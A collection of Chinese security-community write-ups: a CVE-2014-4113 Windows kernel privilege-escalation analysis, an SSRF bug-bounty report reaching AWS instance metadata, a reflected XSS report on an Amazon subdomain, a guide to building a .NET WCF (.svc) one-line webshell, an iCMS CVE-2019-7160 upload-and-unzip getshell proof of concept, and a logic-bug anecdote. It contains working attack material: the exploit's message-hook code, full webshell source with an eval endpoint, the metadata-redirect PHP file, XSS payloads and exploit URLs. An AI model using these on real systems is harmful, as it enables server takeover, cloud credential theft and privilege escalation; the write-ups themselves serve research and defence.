关于这个漏洞分析，其实网上有相当多非常详细的分析，这里我就不再做具体分析了，网上的方法多数都是通过Exploit正向分析，而通过Shellcode定位这种方法，可以用回溯的方法分析整个漏洞的形成过程，可能更加便捷，各有优劣。关于这个漏洞的分析，我不再详述，只是在调试过程中发现一些有趣的调试细节，想拿出来和大家一起分享。
首先我大概说一下这个漏洞的形成过程，在销毁菜单的过程中会产生一个1EB的消息，因为SendMessage的异步调用，导致在销毁菜单时通过消息钩子的方法，通过截断1EB消息，返回一个0xffffffb的方法，在随后的SendMessageTimeout函数中会调用这个返回值，作为函数调用，而在之前的if语句判断中没有对这个返回值进行有效的检查，当我们通过0页的分配，往0x5b地址位置存入Shellcode地址，这样就会在Ring0态执行应用层代码，导致提权。
那么在这个过程中，有一些有意思的地方，第一个是消息钩子截获1EB消息，并且返回0xfffffffb，第二个就是在SendMessageTimeout中在Ring0层执行应用层Shellcode代码的过程。
首先在调用xxxTrackPopupMenuEx的时候会销毁窗口，这个过程中会调用SendMessage，实际上，在SendMessage调用的时候，是分为同步和异步两种方式，两种方式的调用也有所不同，先看看同步，调用相对简单。
SendMessage (同线程)
SendMessageWorker
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
但是当异步调用的时候，情况就相对复杂了，而我们的提权也正是利用了异步的方法，用消息钩子来完成的，首先来看看异步调用的情况。
SendMessage (异线程)
SendMessageWorker
NtUserMessageCall (user mode/kernel mode切换)
EnterCrit
NtUserfnINSTRINGNULL (WM_SETTEXT)
RtlInitLargeUnicodeString
xxxWrapSendMessage (xParam = 0)
xxxSendMessageTimeout (fuFlags = SMTO_NORMAL, uTimeout = 0, lpdwResult = NULL)
⋯⋯
xxxReceiveMessage
xxxSendMessageToClient
sysexit (kernel mode进入user mode)
⋯⋯
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
XyCallbackReturn
int 2b (user mode返回kernel mode)
这里有很关键的两处调用，一个在sysexit，在这个调用的时候，会从内核态进入用户态，也就是说在消息钩子执行的时候，通过这个调用会进入钩子的代码逻辑中，而当应用层代码逻辑执行结束后，会调用int
2b这个软中断，从用户态切换回内核态，这个过程就是通过消息钩子完成的，而正是利用这个钩子，在钩子中销毁窗口并且返回在整个提权过程中至关重要的0xfffffffb。
首先在HandleMenuMessages－>MNFindWindowFromPoint之后会进入SendMessage中处理，这个时候通过安装的钩子会截获到1EB消息。
源码中钩子的部分。
lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)NewWndProc ) ; // LONG
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg != 0x1EB)
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
}
EndMenu() ;
return (DWORD)(-5) ; // DWORD
}
来看一下动态调试的过程，通过之前对异步SendMessage函数的调用关系可以看到异步调用会进入SendMessageTimeout函数处理，跟入这个函数通过回溯看到函数调用关系。
kd> p
win32k!xxxSendMessageTimeout+0x8:
967e934f 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x9:
967e9350 57 push edi
kd> p
win32k!xxxSendMessageTimeout+0xa:
967e9351 8b7d20 mov edi,dword ptr [ebp+20h]
kd> kb
ChildEBP RetAddr Args to Child
a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout+0xa
a216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage+0x28
a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58
a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages+0x9e
随后我们单步跟踪，在SendMessageTimeout函数中找到调用SendMessageToClient函数。
kd> p
win32k!xxxSendMessageTimeout+0x1c9:
967e9510 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x1ca:
967e9511 e81aaaffff call win32k!xxxSendMessageToClient (967e3f30)
通过IDA pro分析这个函数，在LABLE_16位置调用了一个叫sfn的函数，这个sfn的函数就是负责进入用户态的。
LABEL_16:
result = SfnDWORD(v17, v18, v19, (int)v20, v21, v22, v23, v24);
int __stdcall SfnDWORD(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
v9[53].Next[12].Next = v8;
ms_exc.registration.TryLevel = -2;
UserSessionSwitchLeaveCrit();
v27 = KeUserModeCallback(2, &v21, 24, &v28, &v29);
当sysexit调用后，内核态和用户态进行了切换。进入用户态，应用层就是我们的钩子内容。
kd> p
Breakpoint 6 hit
001b:00f21600 55 push ebp
实际上，这就是一个钩子之间的调用过程，也是提权漏洞利用过程中一个至关重要的环节。那么接下来，在钩子函数中，我们会利用EndMenu函数销毁窗口，并且返回0xfffffffb，这个过程在很多分析中都有了，下面我们来看看从用户态切换回内核态的过程。
首先销毁窗口后，0xfffffffb会交给eax寄存器，随后进入返回过程。
kd> bp 00251631
kd> g
Breakpoint 1 hit
001b:00251631 b8fbffffff mov eax,0FFFFFFFBh
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631
014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc+0x23
014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow+0x14b
014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage+0xda
014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD+0x2a
我们在应用层通过回溯，可以看到回溯过程中的函数调用，这里单步调试，可以跟踪到连续向外层函数进行返回。也就是不停的执行pop,ret的过程，直到跟踪到user32!_fnOUTDOWRDINDWORD中，我们单步跟踪。
kd> p
user32!__fnOUTDWORDINDWORD+0x2e:
001b:76a0f0a7 5a pop edx
kd> p
user32!__fnOUTDWORDINDWORD+0x2f:
001b:76a0f0a8 8d4df4 lea ecx,[ebp-0Ch]
kd> p
user32!__fnOUTDWORDINDWORD+0x32:
001b:76a0f0ab 8945f4 mov dword ptr [ebp-0Ch],eax
kd> p
user32!__fnOUTDWORDINDWORD+0x35:
001b:76a0f0ae e86171fcff call user32!XyCallbackReturn (769d6214)
在fnOUTDWORDINDWORD中，调用了XyCallbackReturn，再回头看之前关于SendMessage函数异步过程的描述，XyCallbackReturn正是从用户态切换回内核态一个关键函数调用，跟进这个函数，可以观察到调用了int
2B软中断，回归内核态
kd> t
user32!XyCallbackReturn:
001b:769d6214 8b442404 mov eax,dword ptr [esp+4]
kd> p
user32!XyCallbackReturn+0x4:
001b:769d6218 cd2b int 2Bh
这个过程会携带钩子的返回结果，从而到后面执行shellcode，回归内核态之后，来看一下调用到shellcode。
kd> g
Breakpoint 4 hit
win32k!xxxSendMessageTimeout+0x1a9:
967e94f0 ff5660 call dword ptr [esi+60h]
kd> dd esi
fffffffb ???????? ???????? fe9d3dd8 00000000
kd> dd esi+60
0000005b 00f61410 00000000 00000000 00000000
kd> t
00f61410 55 push ebp
Executable search path is:
ModLoad: 00f60000 00f67000 EoP.exe
ModLoad: 770c0000 771fc000 ntdll.dll
ModLoad: 76760000 76834000 C:\Windows\system32\kernel32.dll
我们事先在0x5b地址位置分配了0页内存，然后往里存放了一shellcode的地址，这样call esi＋60相当于call
0x5b，从而进入shellcode的内容。
其实在调试漏洞的过程中，钩子的调用是一个很有趣的过程，也是触发这个漏洞的关键，同样，不仅仅是CVE-2014-4113，在很多Windows提权漏洞的利用上，都用到了类似手法，比如CVE-2015-2546等等。
在文章一开始，我提到这个漏洞的关键原因是一处if语句判断不严谨导致的漏洞发生，当结束了这个有趣的调试细节之后，我将通过补丁对比，以及补丁前后的动态调试来看看这个漏洞的罪魁祸首是什么。
### 补丁对比与过程分析
我们安装CVE-2014-4113的补丁，可以看到，补丁后利用提权工具提权后，仍然不能获得系统权限。
补丁前：
补丁后：
我们通过BinDiff来分析一下这个补丁前后发生了哪些变化，这时候我们需要通过文章最开始，我们在定位了提权发生的位置之后，通过堆栈回溯的过程看到的函数调用关系，来确定我们应该看看哪些函数发生了变化。
实际上补丁前后大多数函数变化都不大，但是看到xxxHandleMenuMessages中存在一些小变化，跟进这个函数查看对比。
注意对比图下方有一些跳转产生了变化，放大下面这个块的内容。
左侧黄块和这个漏洞无关，可以看到左侧是两个绿色块直接相连，表示直接跳转，而右侧补丁后，则在两个绿块之间增加了一个黄块，观察黄块，其中调用了一个IsMFMWFPWindow函数，这个函数可以通过IDA
pro看到它的作用。实际上就是一个bool函数，用来限制0，－1和－5的情况，下面我们来动态调试分析。
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}
首先是补丁前，会经过一系列的if判断，直接单步跟踪到最关键的一处if判断。
if ( *(_BYTE *)v3 & 2 && v13 == -5 )
kd> p
win32k!xxxHandleMenuMessages+0x54c:
968692c5 f60702 test byte ptr [edi],2
kd> p
win32k!xxxHandleMenuMessages+0x54f:
968692c8 740e je win32k!xxxHandleMenuMessages+0x55f (968692d8)
这个if判断其实是想处理0xfffffffb的情况的，也就是说，当v13的值等于－5，也就是0xfffffffb的时候，会进入if语句，而不会执行将－5传递到下面的SendMessage中，然而这个if语句中的是与运算，也就是说，当前面v3&2不成立的时候，就不会进入if语句了，而动态调试前面是不成立的，直接跳转到后面的if语句判断。
if ( v13 == -1 )
kd> p
win32k!xxxHandleMenuMessages+0x55f:
968692d8 83fbff cmp ebx,0FFFFFFFFh
kd> p
win32k!xxxHandleMenuMessages+0x562:
968692db 750e jne win32k!xxxHandleMenuMessages+0x572 (968692eb)
这就导致了－5被传递到后面的SendMessage，从而导致了后面的代码执行。
win32k!xxxHandleMenuMessages+0x572:
968692eb 6a00 push 0
kd> p
win32k!xxxHandleMenuMessages+0x574:
968692ed ff7510 push dword ptr [ebp+10h]
kd> p
win32k!xxxHandleMenuMessages+0x577:
968692f0 68ed010000 push 1EDh
kd> p
win32k!xxxHandleMenuMessages+0x57c:
968692f5 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x57d:
968692f6 e8a202f8ff call win32k!xxxSendMessage (967e959d)
kd> dd esp
8b46fa94 fffffffb 000001ed 0091f92c 00000000
可以看到，当执行SendMessage的时候，第一个参数为0xfffffffb，后续会在SendMessageTimeOut中引发进入Shellcode，这个之前已经提到。
接下我们一起看一下补丁后的调试情况，补丁后，引入了IsMFMWFPWindow函数多做了一个if语句的判断。
kd> r
eax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68
eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0 nv up ei ng nz ac pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000297
win32k!xxxHandleMenuMessages+0x570:
9756bf10 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x571:
9756bf11 e889b90000 call win32k!IsMFMWFPWindow (9757789f)
可以看到ebx作为参数传入IsMFMWFPWindow，ebx的值为0xfffffffb，而这个值是－5，判断肯定是不通过的，返回false。
kd> p
win32k!IsMFMWFPWindow+0xb:
975778aa 837d08fb cmp dword ptr [ebp+8],0FFFFFFFBh
kd> p
win32k!IsMFMWFPWindow+0xf:
975778ae 740b je win32k!IsMFMWFPWindow+0x1c (975778bb)
kd> p
win32k!IsMFMWFPWindow+0x1c:
975778bb 33c0 xor eax,eax
可以看到ebp＋8判断是否为false，这里是为false的，所以跳转，不执行SendMessage，这样漏洞就被修补了，我们最后来看一下补丁前后的伪代码。
补丁前：
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
……//省略一部分代码
if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key！这里第一个判断不通过
{
xxxMNSwitchToAlternateMenu(v3);
v13 = -1;
}
if ( v13 == -1 )
xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
else
xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);//key！
补丁后：
v29 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
v50 = IsMFMWFPWindow(v29);
if ( v50 )
{
……
}
else
{
if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了
{
…… }
……
if ( v29 == -1 )
goto LABEL_105;
}
if ( IsMFMWFPWindow(v29) )//Key！！！这里先调用了IsMFMWFPWindows做了一个判断，然后才send
xxxSendMessage((PVOID)v29, -17, UnicodeString, Address);
到此，这个内核漏洞解剖完毕，以前一直觉得内核漏洞很可怕，现在仔细分析之后，其实发现内核漏洞也是很有意思的，仿佛给我开了一扇新的大门，里面有很多有趣的东西值得去探索，分析的时候只要理清逻辑关系，其实会简单好多，文章中如有不当之处还请各位大牛斧正，多多交流，谢谢！
* * * | 社区文章 |
## AWS Metadata Disclosure via “Hardcoded Host” Download Function
当我们访问网站时，有时我们都会找到从该网站下载文件的链接，下载的文件可以是网站操作指南，教程或其他文档。
我在Bugcrowd上挖漏洞时，接手一个私人项目，打开网站，我发现一个下载PDF文档的链接，url格式如下：
https://redacted.com/download?file=/2019/08/file.pdf
当找到这样的URL时，我猜想是否存在“任意文件下载”漏洞，于是我试着访问该链接，使用浏览器下载`file.pdf`文档。
我将URL更改为下面的形式，试着寻找任意文件下载漏洞
https://redacted.com/download?file=index.php
但是并没有得到任何有用的信息。
当我发现使用`index.php`无法下载文件时，我经过一段时间的思考之后得到下面的结果：首先，下载功能受到保护，因此我们无法下载不允许的文件。其次，下载功能可能以CDN或其它形式重定向到另一台主机，因此`index.php`文件不存在。
对于第二种可能性，这可以使用代码实现：
$host = 'https://cdn.redacted.com';
$file = $_GET['file'];
$download_url = $host .'/'. $file;
从上面的代码中可以看出，要下载的文件已经进行了编码，因此我们只能通过操作文件的参数，来试图下载文件。
### URL重定向
为了确定我们对URL格式的假设是否正确，最简单的方法是尝试在参数值的末尾添加一个`@`符号，file后面再加上我们作为目标站点的域名，来重定向到另一个域名。
例如：
https://redacted.com/download?file=/2019/08/[email protected]
可以肯定的是，源码已经通过`www.google.com`成功下载
然而通过此漏洞，我们只能下载服务器外部的数据，而不能访问目标服务器上包含的文件。那我们可以得到什么数据呢？
### AWS数据
我已经知道服务器位于Amazon AWS上，因此我尝试利用这个漏洞提取AWS上的数据。在AWS中存在数据的url如下所示：
http://169.254.169.254/latest/meta-data/
然后，URL修改如下：
https://redacted.com/download?file=/2019/08/[email protected]/latest/meta-data/
然而并没有得到任何响应。
一段时间后，我意识到主机在编码过程中可能使用HTTPS协议，因此当我们尝试重定向到使用HTTP协议的URL时，重定向过程将无法进行：
为此，我使用了一个小技巧，找到一个使用HTTPS的域名，然后将其再次重定向到含有数据的URL中。
目标服务器---> HTTPS域名--->数据URL
为此，我写了一个简单的PHP文件来重定向到含有数据的URL中
<?php
header('location: http://169.254.169.254/latest/meta-data/')
然后，将文件上传到使用HTTPS的域名，最终的URL如下所示：
https://redacted.com/download?file=/2019/08/[email protected]/redirect.php
我们可以看到数据已经成功下载
从这些数据中我们可以获得很多信息：本地主机名和公共主机名，本地IP地址和公共IP地址，
如果我们很幸运，我们也可以获得一个SSH私钥，通过这个私钥我们能够访问目标服务器。
原文链接：<https://medium.com/mahapatih-sibernusa-teknologi/aws-metadata-disclosure-via-hardcoded-host-download-function-ee6d19d925d5> | 社区文章 |
本文是翻译文章，原文链接为：<https://zerottl.com/posts/xss-in-amazon-india/>
这是一份描述我在datavault.amazon.com上的XSS的文章。一个URL的值被渲染显示在页面上，没有经过任何清洗导致了XSS漏洞。这是一年前向Amazon报道的，此漏洞之后已经得到修复。
我使用amass对amazon.in的域名进行了子域名手机。Aquatone用于对子域名列表中的每个站点进行页面截屏。经过与页面截屏进行对照，我对datavault.amazon.in站点进行深入挖掘。
当我登陆的amazon.in后，下图是我访问datavault.amazon.in的截图。
除了我注册amazon.in的邮箱外，我看不到任何有用的信息。但是一旦我查看了页面源代码后有一些好玩的javascript文件被发现了。
在javascript文件中，文件installnationCommons.js有一些有趣的函数。即downloadAffordabilityDocument()和downloadDocument()。
* 函数：downloadAffordabilityDocument()
* 函数：downloadDocument()
我从函数中抽取了两个URL，如下：
https[:]//datavault.amazon.in/affordabilityDownloadReport?DocumentName=<DOCUMENT_NAME>
https[:]//datavault.amazon.in/data/DownloadReport?DocumentName=<DOCUMENT_NAME>&RequestType=<REQUEST_TYPE>
现在你可以看到RequestType这个参数反显到了页面上。我们现在可以测试一下HTML注入。
## HTML注入测试
Payload :
<b>BOLD</b>cd
URL :
https://datavault.amazon.in/data/DownloadReport?DocumentName=123&RequestType=<b>BOLD</b>cd
输出：
你可以看到用户输入没有被清洗并直接反显在了HTML代码中。`<b>BOLD</b>`被直接嵌入在了页面当中。我可以在页面中任意注入HTML代码了，是时候使用`<script>`标签了。
## XSS测试
Payload :
<script>alert('XSS');</script>
URL :
`https://datavault.amazon.in/data/DownloadReport?DocumentName=123&RequestType=<script>alert('XSS');</script>`
## 攻击利用和影响
这个反射型XSS是通过构造一个带有特殊payload的URL并将它发送给用户。一旦用户点击，用户就可以被导向到恶意站点或者被通过HTML注入要求输入他们的密码信息。
amazon.in上的Cookies附上了HttpOnly属性和Secure属性所以是不可能被窃取的。
## 报告
* 于2018年3月1日向亚马逊安全部报告。
* 24小时内亚马逊安全的响应。
* 已于2018年3月12日收到“已修复”的邮件。 | 社区文章 |
# 探索基于.NET下实现一句话木马之SVC篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
本文是探索.NET三驾马车实现一句话木马的完结篇，如果前两篇没有看的同学可以浏览安全客地址（ashx一句话
<https://www.anquanke.com/post/id/151960> 、 asmx一句话
<https://www.anquanke.com/post/id/152238>）或者云影实验室公众号的历史消息，至于这三篇文章包含的代码片段已经同步到笔者的[github](https://github.com/Ivan1ee)上，如果有需求请自取。
那么闲话少叙，回归正题。SVC是 .NET WCF程序的扩展名至于有什么作用那还得先谈谈WCF。
## 0x02 简介和原理
WCF (Windows Communication Foundation)
是微软为构建面向服务的应用程序所提供的统一编程模型，能够解决不同应用程序域，不同平台之间的通信问题。WCF统一了多重分布式技术：Webservice、.NetRemoting、.Net企业服务、微软的消息队列（MSMQ），在WCF的结构中有下面几个概念：
1. 契约（ServiceContract）: 契约是属于一个服务公开的公共接口，定义了服务端公开的服务方法、使用的传输协议、可访问的地址以及传输的消息格式等等，简单的说契约的作用就是告诉我们能干什么；
2. 地址（Address）: 在WCF框架中，每个服务都具有唯一的地址，其他服务或者客户端通过这个地址来访问到这个服务；
3. 绑定（Binding）: 定义了服务与外部通信的方式。它由一组称为绑定元素的元素而构成，这些元素组合在一起形成通信基础结构；
4. 终结点（EndPoint）: 终结点是用来发送或接收消息的，一个终结点由三个要素组成，分别是：地址、绑定和契约；
对于本文来说只需要掌握契约的使用即可，下面通过一个简单的demo来演示
using System;
using System.ServiceModel;
namespace test
{
[ServiceContract]
public interface IService1
{
[OperationContract]
string DoWork();
}
public class TestService : IService1
{
public string DoWork()
{
return DateTime.Now.ToString();
}
}
}
上面的代码中[ServiceContract] 是接口Iservice1声明的特性，表示这个是一个契约；[OperationContract]
在接口方法DoWork上声明表示该方法是一个对外的服务，远程客户端能够调用到这个方法；定义TestService类去实现接口，并且实现接口里的DoWork方法，方法体内返回当前的日期时间；简要的说明后通过Visual
Studio调试如下：
点击WCF测试客户端右侧 “ 调用“ 成功返回了当前的时间结果，这就是一个简单的WCF程序的定义和调用。
## 0x03 SVC小马的实现
通常用IDE生成的WCF文件由三部分组成，如果要实现WCF的小马，需要将三部分整合到一个文件中，扩展名是svc。新建WCF的时候三个文件默认名分别为Service1.svc
、Service1.svc.cs 、IService.cs
，整合代码分两步走，第一步先将接口文件IService.cs里的代码块放入Service.svc.cs文件中；第二步将Service1.svc.cs文件和Service1.svc合并；
最终三块代码整合一起，再加上实现了创建aspx马儿和CMD执行命令的功能，俨然诞生了一个WCF的小马，代码如下：
输入ver命令，返回执行结果。
把文件部署到IIS7下然后访问 <http://IP/service2.svc?singleWsdl> ，
看到这段wsdl中包含了定义的cmdShell方法，还有对应返回的webShellResponse这个xml元素节点，将来命令执行的结果全部位于webShellResult节点之间，若想可视化的
操作还需要借助SoapUI这款工具来实现调用，工具下载地址网上有很多，笔者下载的是5.2.1版本，
安装新建项目后选择添加 ”Add WSDL“
点击OK后可见左侧多出了代码里定义的两个方法，点击节点下的Request 按钮就可以发送请求测试了。
到此虽然小马已经实现，但不是笔者的目标，笔者期望的还是随便传入一句话就可以到达任意执行的目的，所以还得继续往下转化。
## 0x04 一句话的实现
根据C#版本的小马加上之前两篇文章中利用Jscript.Net的语法就可以很容易写出一句话小马服务端，查看C#中
ServiceContract元数据可以看出本质上就是ServiceContractAttribute，OperationContract对应的是
OperationContractAttribute。如下图
在Jscript.Net中实现这两个功能的分类是WebMethodAttribute类和ScriptMethodAttribute类，最终写出一句话木马服务端代码：
<%@ ServiceHost Language="JScript" Debug="true" Service="svcLessSpy" %>
import System;
import System.Web;
import System.IO;
import System.ServiceModel;
import System.Text;
ServiceContractAttribute public class svcLessSpy
{
OperationContractAttribute public function exec(text : String) : String
{
return eval(text);
}
}
打开浏览器输入 DateTime.Now.ToString() 成功打印出当前时间
其实请求的数据是一条SOAP消息，也是一个普通的XML文档，但必须要包含Envelope 命名空间、不能包含DTD引用和XML处理指令；
Envelope元素是SOAP消息的根元素，它的存在就可认为这个XML是一个SOAP消息、Body元素包含准备传送到消息最终端点的数据，上面的tem:exec和tem:text元素是应用程序专用的元素,并不是标准SOAP的一部分，发送HTTP请求的时候只需修改tem:Ivan就可以实现任意代码执行，至此SVC版本的一句话小马也已经实现。这里还需要注意一点，web.config里必须要配置
<system.serviceModel>
<behaviors>
<serviceBehaviors>
<behavior>
<serviceMetadata httpGetEnabled="true"/>
</behavior>
</serviceBehaviors>
</behaviors>
<serviceHostingEnvironment multipleSiteBindingsEnabled="true" />
</system.serviceModel>
其中最关键的当属 httpGetEnabled = true ，如果不配置这个选项浏览的时候会看到如下的提示
好在遇到上述配置的概率不大，因开发环境下Visual
Studio会自动添加这个选项到配置文件中去，开发人员在部署的时候基于习惯会拷贝到生成环境下，所以大概率支持HTTP请求。可惜的是菜刀暂时不支持SOAP消息返回的数据格式，笔者考虑的解决方案重写客户端来支持SOAP消息返回；还有就是基于优化考虑将svcLessSpy.svc进一步压缩体积后只有339个字节。
## 0x05 防御措施
1. 对于Web应用来说，尽量保证代码的安全性；
2. 对于IDS规则层面来说，上传的时候可以加入OperationContractAttribute、ServiceContractAttribute、eval等关键词的检测
## 0x06 小结
1. Svc大有替代asmx的趋势，也是微软未来主推的服务，相信会有越来越多的.NET应用程序支持WCF，svc一句话木马被攻击者恶意利用的概率也会越来越多;
2. 目前中国菜刀还不支持svc扩展，需要改进或者有条件的可以开发一款属于svc和asmx一句话木马专属定制的工具；
3. 文章的代码片段请参考 <https://github.com/Ivan1ee> ;
## 0x07 参考链接
<https://docs.microsoft.com/en-us/dotnet/framework/wcf/getting-started-tutorial>
<https://www.cnblogs.com/oec2003/archive/2010/07/21/1782324.html> | 社区文章 |
## 前言
审计iCMS 7.0.13的时候发现一天前刚刚爆出了一个新的CVE，CVE-2019-7160后台getshell漏洞。
于是跟进分析一下这个漏洞。
实验环境：osx+apache2+php7+mysql5.7
icms官网:<https://www.icmsdev.com/>
## 漏洞分析
### 大致流程
此漏洞需要先登录后台，利用do_IO()上传ZIP文件至根目录，再利用do_local_app()对ZIP文件进行解压生成shell文件。
### 上传文件
首先定位到do_IO()
public function do_IO(){
files::$watermark_enable = $_GET['watermark'];
$udir = iSecurity::escapeStr($_GET['udir']);
$name = iSecurity::escapeStr($_GET['name']);
$ext = iSecurity::escapeStr($_GET['ext']);
iFS::check_ext($ext,0) OR iUI::json(array('state'=>'ERROR','msg'=>'不允许的文件类型'));
iFS::$ERROR_TYPE = true;
$F = iFS::IO($name,$udir,$ext);
$F ===false && iUI::json(iFS::$ERROR);
iUI::json(array(
"value" => $F["path"],
"url" => iFS::fp($F['path'],'+http'),
"fid" => $F["fid"],
"fileType" => $F["ext"],
"image" => in_array($F["ext"],files::$IMG_EXT)?1:0,
"original" => $F["oname"],
"state" => ($F['code']?'SUCCESS':$F['state'])
));
}
它处理通过流数据上传的文件，并且我们可控路径（udir），文件名（name），文件类型（ext）。
继续跟进`$F = iFS::IO($name,$udir,$ext);`，定位到IFS类中的IO函数
public static function IO($FileName = '', $udir = '', $FileExt = 'jpg',$type='3',$filedata=null) {
$filedata===null && $filedata = file_get_contents('php://input');
if (empty($filedata)) {
return false;
}
$fileMd5 = md5($filedata);
$FileName OR $FileName = $fileMd5;
$FileSize = strlen($filedata);
$FileExt = self::valid_ext($FileName . "." . $FileExt); //判断文件类型
if ($FileExt === false) {
return false;
}
list($RootPath, $FileDir) = self::mk_udir($udir,$fileMd5,$FileExt); // 文件保存目录方式
$FilePath = $FileDir . $FileName . "." . $FileExt;
$FileRootPath = $RootPath . $FileName . "." . $FileExt;
self::write($FileRootPath, $filedata);
$fid = self::insert_filedata(array($FileName,'',$FileDir,'',$FileExt,$FileSize), $type);
self::hook('upload',array($FileRootPath,$FileExt));
$value = array(
1,$fid,$fileMd5,$FileSize,
'',$FileName,$FileName.".".$FileExt,
$FileDir,$FileExt,
$FileRootPath,$FilePath,$RootPath
);
return self::_data($value);
}
这个函数以php://input读取数据，之后通过mk_udir函数创建文件存储路径。
我们可以通过控制udir和name两个变量使文件存放在任意位置。
例如
/icms/admincp.php?app=files&do=IO&frame=iPHP&ext=zip&udir=../&name=../app/test&watermark=fals
此时会在app目录下生成一个test.zip
### 解压文件
利用后台的安装本地应用功能。
定位到do_local_app()
public function do_local_app(){
$zipfile = trim($_POST['zipfile']);
echo $zipfile;
if(preg_match("/^iCMS\.APP\.(\w+)\-v\d+\.\d+\.\d+\.zip$/", $zipfile,$match)){
apps_store::$zip_file = iPATH.$zipfile;
apps_store::$msg_mode = 'alert';
apps_store::install_app($match[1]);
iUI::success('应用安装完成','js:1');
}else{
iUI::alert('What the fuck!!');
}
}
首先会接受一个POST的数据包，如果符合正则匹配则进入install_app()，否则输出What the fuck!!。
跟进install_app()函数
public static function install_app($app=null) {
self::$success = false;
$archive_files = self::setup_zip();
$msg = null;
//安装应用数据
$setup_msg = self::setup_app_data($archive_files,$app);
看到set_zip()，跟进一下
public static function setup_zip() {
$zip_file = self::$zip_file;
if(!file_exists($zip_file)){
return self::msg("安装包不存在",false);
}
iPHP::vendor('PclZip');
$zip = new PclZip($zip_file);
if (false == ($archive_files = $zip->extract(PCLZIP_OPT_EXTRACT_AS_STRING))) {
iFS::rm($zip_file);
return self::msg("ZIP包错误",false);
}
if (0 == count($archive_files)) {
iFS::rm($zip_file);
return self::msg("空的ZIP文件",false);
}
return $archive_files;
}
看到对文件进行解压操作，这就足够利用了。
再回到do_local_app()函数入，构造一个符合正则的文件名例如
iCMS.APP.1-v1.1.1.zip
### GETSHELL
只要成功解压我们上传的ZIP文件，释放出php文件即可GETSHELL。
## POC
### 构造文件
利用phpinfo()测试，把php文件压缩成一个ZIP
### 上传
发包上传文件,构造name和udir使得文件上传至根目录。
### 解压
### getshell | 社区文章 |
今天给大家分享一下逻辑漏洞的挖掘方法，现在越来越多的网站，尤其是大一点的，由于白帽子的蜂拥而至，大量的明显漏洞已经被修复的差不多了，只有零碎被初来乍到的白帽子挖了出来，大多都是些反射跨站、少量信息泄露等、虽然这种漏洞没多分，但是还是觉得没白挖，毕竟确认了。
逻辑漏洞成为了众多白帽子的新目标，莫名的逻辑漏洞这个方向成为了白帽子的方向，挖这类漏洞很多白帽子觉得无从下手，有可能是经验还不是很多，不过没关系，继续坚持挖一下看看。
记得我第一个严重的漏洞就是一个逻辑类漏洞《网易任意邮箱密码重置漏洞》，说起这个漏洞，就觉得莫名的兴奋，因为这个漏洞是我不经意发现的，因为当时我经常使用网易邮箱，在注册账号的时候，突然跳出一个链接，让我绑定手机号，这时候我注意到，好想上面URL中包含了我的邮箱地址，潜在的心理意识告诉我试着改改邮箱地址，然后输入自己的手机号看看能不能正常接收短信，小手就这么一点，叮！短信来了！输入短信后成功跳转到我想要绑定的邮箱中，这时候我意识一个涉及到行业的漏洞来了，心里又兴奋又激动又担心又着急，担心的是怕这个漏洞被恶意利用，着急的事我那会并不认识网易内部做安全的，没办法联系到，尝试着网上找然而并没有什么卵用，后来在朋友的介绍下把漏洞提交到了WooYun漏洞平台，很庆幸，这个漏洞在漏洞提交的当天晚上就被紧急修复了，同时我也认识了网易Src做安全的朋友。
为什么我说是一个行业漏洞呢，因为当时国内邮箱使用网易邮箱是最多的，网易公布2012年邮箱用户破5.3亿，也就意味着各大网站、各大电商、包括网易自己的各种业务也遭受了影响，这个漏洞可以直接重置网易各种邮箱密码（包括企业邮箱、188、126、163等），通过密码找回间接重置各大网站密码等，危害还是相当大的。
这个漏洞从百度搜WooYun莫名找到我的人还挺多的，因为当时为了找到网易做安全的朋友我在上面留了我的QQ号等信息，其中有个人说他买的30万手机卡作废了，说我把漏洞提交了。
为此我收到了网易寄来的礼物，虽然不贵重，但是我还是心理挺高兴的，毕竟漏洞被修复了，做出了我的贡献。
网易邮箱密码重置漏洞URL，大家可以自行参观，不用谢，不客气。
<http://www.secbug.cn/bugs/wooyun-2012-08307.html>
**逻辑漏洞挖掘经验我总结了以下几点：**
1、打开网站，先观察，先了解网站的各种功能，知彼知己，方而漏洞多多。
2、初步试着先使用这些功能，如果你使用浏览器，记得把审核元素打开，小心认真的观察点击功能点的时候网络中的各种请求，注意POST数据，因为它提交的数据是隐藏的，没那么直观，所以这个时候要小心，说不好一不小心你也可以挖到一个大漏洞。
